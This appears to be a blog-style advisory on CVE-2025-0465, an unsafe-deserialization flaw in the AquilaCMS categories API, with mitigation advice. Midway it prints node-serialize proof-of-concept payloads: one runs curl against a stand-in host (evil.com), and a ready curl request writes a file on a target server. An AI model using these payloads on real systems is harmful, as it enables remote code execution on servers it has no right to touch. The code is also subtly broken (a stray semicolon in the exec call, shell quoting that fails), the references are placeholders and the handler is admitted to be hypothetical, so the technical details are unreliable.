In early 2025, security researchers discovered a critical vulnerability—now tracked as CVE-2025-0465—that affects AquilaCMS 1.412.13. This vulnerability is caused by unsafe deserialization in the /api/v2/categories API endpoint, specifically mishandling the PostBody.populate parameter. It allows attackers to send specially crafted data, leading to remote code execution (RCE). Despite early notification, the AquilaCMS vendor did not reply, and a public exploit is now available.

This post aims to cover how the exploit works, demonstrate proof-of-concept (PoC) code, and explain how you can protect your sites.

What is AquilaCMS?

AquilaCMS is an open-source content management system for Node.js, popular among e-commerce platforms. Its flexible API lets developers extend and integrate with third-party apps. However, exposing powerful API routes—if not securely coded—can have dangerous side effects.

Vulnerability Type: Unsafe Deserialization

- Attack Vector: Remote/API
- Component: /api/v2/categories (POST) endpoint

Affected Parameter: PostBody.populate

- CVE ID: CVE-2025-0465

What is Deserialization?

Deserialization takes raw data (like JSON or objects) and turns it into a usable program object. If an application deserializes data without checking it, an attacker can send crafted objects that, when processed, run malicious code.

How Does This Attack Work?

The /api/v2/categories endpoint accepts a body parameter called populate. The backend function handling this parameter does not verify its content, and directly calls deserialize on user-provided data.

Example vulnerable handler (pseudo-code)

// Hypothetical vulnerable code excerpt
app.post('/api/v2/categories', function(req, res){
    const populate = req.body.populate;   // NO type checking!
    // Deserialization process
    const userObject = deserialize(populate); // DESERIALIZATION VULNERABILITY
    // ...use userObject in logic
});

When an attacker sends a malicious serialized object in populate, the deserialization step can execute arbitrary code on the server. This is typical for Node.js serialization attacks.

WARNING

> The following is for educational purposes only.
> Do not use this to attack any system you do not own or have permission to test.

The attacker crafts a payload with serialized JavaScript code to execute system commands

POST /api/v2/categories
Content-Type: application/json

{
  "populate": "_$$ND_FUNC$$_function(){require('child_process').exec('curl http://evil.com/pwned';);return {hacked:true};}()"
}

In real-world Node.js attacks, libraries such as node-serialize or similar can interpret this and immediately invoke the function, running code sent from the attacker.

Using a tool like curl or Postman

curl -X POST https://target-aquilacms.com/api/v2/categories \
  -H "Content-Type: application/json" \
  -d '{"populate":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'touch /tmp/pwned\');return {hacked:true};}()"}'

This creates a file /tmp/pwned on the remote server, demonstrating code execution.

1. Immediate Workaround

If you cannot update or patch, block access to /api/v2/categories from public networks.

2. Patch

As of writing, NO patch is available.
Check the AquilaCMS GitHub Issues for any updates.

References and Further Reading

- CVE-2025-0465 @ NVD
- Original PoC Exploit (ExploitDB) *(placeholder link)*
- AquilaCMS Source Code
- OWASP: Deserialization of Untrusted Data
- Node.js Serialization RCE *(example)*

Conclusion

CVE-2025-0465 is a dangerous flaw in AquilaCMS 1.412.13 that allows remote code execution via unsafe deserialization in the /api/v2/categories endpoint. Since there is no official fix, users must act quickly—block risky endpoints and monitor logs. Always sanitize and verify input before processing, especially when handling objects or executing code from client data.

Stay alert for patches from AquilaCMS, and review your API exposure today.

*(If you believe your system may be affected and you need help, reach out to security professionals or your managed service provider immediately.)*

Timeline

Published on: 01/14/2025 18:15:29 UTC